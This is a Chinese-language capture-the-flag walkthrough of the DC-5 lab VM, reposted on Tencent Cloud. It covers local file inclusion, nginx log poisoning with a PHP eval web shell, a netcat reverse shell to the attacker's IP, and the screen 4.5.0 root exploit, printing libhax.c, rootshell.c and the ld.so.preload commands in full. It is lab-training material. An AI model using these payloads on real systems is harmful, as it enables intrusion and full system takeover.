前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >打靶系列之-DC-5

打靶系列之-DC-5

作者头像
用户6343818
发布2021-08-26 14:56:35
8280
发布2021-08-26 14:56:35
举报
文章被收录于专栏:安全小圈安全小圈

01 项目安装

先把DC-5的靶机安装到本地

下载地址是:https://www.five86.com/dc-5.html

进入页面点击here 进行下载

下载好之后,导入咱们的虚拟机

看到这个页面,表示我们靶机安装成功

02 信息收集

首先我们进行信息收集,获取靶机的ip和相关端口

代码语言:javascript
复制
#获取ip地址
netdiscover -r  192.168.1.0/24

知道了ip,看下靶机开放了哪些端口

代码语言:javascript
复制
#获取端口
nmap 192.168.1.119

可以看到靶机开启了80端口,页面访问一下

访问成功

03 文件包含

在页面中多浏览一下,发现Contact模块下可以输入内容,于是尝试多输入几次之后,发现了有意思的地方

可以看到相同的页面,只是局部发生了改变,说明这里使用了文件包含

首先进行目录扫描,看是否能够找到这个包含的文件

执行

代码语言:javascript
复制
python dirsearch.py -u http://192.168.1.119/solutions.php -e*

可以看到这个脚本是footer.php

04 文件爆破

既然知道了这个脚本,现在需要知道thankyou.php是如何把footer.php包含的

我们需要用bp进行爆破一下

需要将参数名爆出来

爆出啦参数名为 file

所以完整的地址为

http://192.168.1.119/thankyou.php?file=footer.php

05 漏洞利用

直接将footer.php 改为/etc/passwd

http://192.168.1.119/thankyou.php?file=/etc/passwd

可以看到直接把账户名读了出来

既然可以读取密码文件,那也可以读取日志文件,方便我们读取木马文件

说到这里就是考验我们密码字典强大的时候,我们需要把日志文件爆破出来

可以看到直接把nginx的日志爆了出来

接下来就是把木马写入日志中,然后用蚁剑直接进行连接

首先尝试用phpinfo()是否可以读取成功

访问

http://192.168.1.119/thankyou.php?file=/var/log/nginx/access.log

tip:要是发现没弹出phpinfo的信息,建议重装靶机,不要觉得是操作上的问题,真的是靶机问题,(这个地方卡我很久)

看到信息弹出,开始写入木马

<?php @eval($_POST[777]) ; ?>

然后使用蚁剑进行连接

链接成功

接下来反弹shell

kali执行

代码语言:javascript
复制
nc -lvvp 888

靶机执行

代码语言:javascript
复制
nc -e /bin/sh 192.168.1.116 888

执行

代码语言:javascript
复制
#获取完全交互的shell
python -c  'import pty;pty.spawn ( "/bin/bash")'

06 提权

代码语言:javascript
复制
#通过find提权,查看用root权限运行的命令
find / -perm -4000 2>/dev/null

可以看到/bin/screen-4.5.0

在kali中执行

代码语言:javascript
复制
searchsploit screen 4.5.0

可以看到有两个漏洞利用,这里我们使用linux/local/41154.sh脚本

进入目录看下脚本

这个脚本主要由三部分组成,原本是直接执行脚本,可惜这个脚本有问题,所以需要创建2个文件,把每个代码块单独拿出来执行

才可以

  1. 创建第一个文件,并复制一下代码块

vi libhax.c

代码语言:javascript
复制
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
  1. 创建第二个文件,复制第二个代码块

vi rootshell.c

代码语言:javascript
复制
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
  1. 编译文件

gcc -fPIC -shared -ldl -o libhax.so libhax.c gcc -o rootshell rootshell.c

可以看到本地生成了两个文件

将这两个文件通过http上传到靶机当中

在kali中执行

代码语言:javascript
复制
python -m SimpleHTTPServer 8000

在蚁剑中通过wget下载下来

http://192.168.1.116:8000/libhax.so

http://192.168.1.116:8000/rootshell

可以看到靶机有两个文件

执行之前脚本的第三个代码块,依次执行下面每条语句

代码语言:javascript
复制
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen –ls
/tmp/rootshell

发现提权成功

最终拿到flag

07 总结

  1. 通过包含漏洞获取信息,以及执行木马
  2. 通过bp爆破获取参数名称,以及服务器日主文件
  3. 熟悉searchsploit,找到已知漏洞
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-08-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 零度安全攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 01 项目安装
  • 02 信息收集
  • 03 文件包含
  • 04 文件爆破
  • 05 漏洞利用
  • 06 提权
  • 07 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档